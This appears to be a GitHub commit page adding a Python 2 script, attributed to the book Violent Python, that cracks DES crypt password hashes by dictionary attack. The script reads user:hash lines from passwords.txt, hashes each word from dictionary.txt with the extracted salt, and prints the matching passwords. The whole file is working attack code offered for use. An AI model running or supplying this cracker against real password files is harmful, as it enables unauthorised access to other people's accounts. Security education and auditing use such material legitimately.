Skip to content

Commit 768c9f9

Browse files
committed
Old school password cracker
This code was taken from the book Violent Python
1 parent d70f4fc commit 768c9f9

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed

password_cracker.py

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
# Script Name : password_cracker.py
2+
# Author : Craig Richards
3+
# Created : 20 May 2013
4+
# Last Modified :
5+
# Version : 1.0
6+
7+
# Modifications :
8+
9+
# Description : Old school password cracker using python
10+
11+
import crypt # Import the module
12+
13+
def testPass(cryptPass): # Start the function
14+
salt = cryptPass[0:2]
15+
dictFile=open('dictionary.txt','r') # Open the dictionary file
16+
for word in dictFile.readlines(): # Scan through the file
17+
word=word.strip('\n')
18+
cryptWord=crypt.crypt(word,salt) # Check for password in the file
19+
if (cryptWord == cryptPass):
20+
print "[+] Found Password: "+word+"\n"
21+
return
22+
print "[-] Password Not Found.\n"
23+
return
24+
25+
def main():
26+
passFile = open('passwords.txt') # Open the password file
27+
for line in passFile.readlines(): # Read through the file
28+
if ":" in line:
29+
user=line.split(':')[0]
30+
cryptPass = line.split(':')[1].strip(' ') # Prepare the user name etc
31+
print "[*] Cracking Password For: "+user
32+
testPass(cryptPass) # Call it to crack the users password
33+
34+
if __name__ == "__main__":
35+
main()

0 commit comments

Comments
 (0)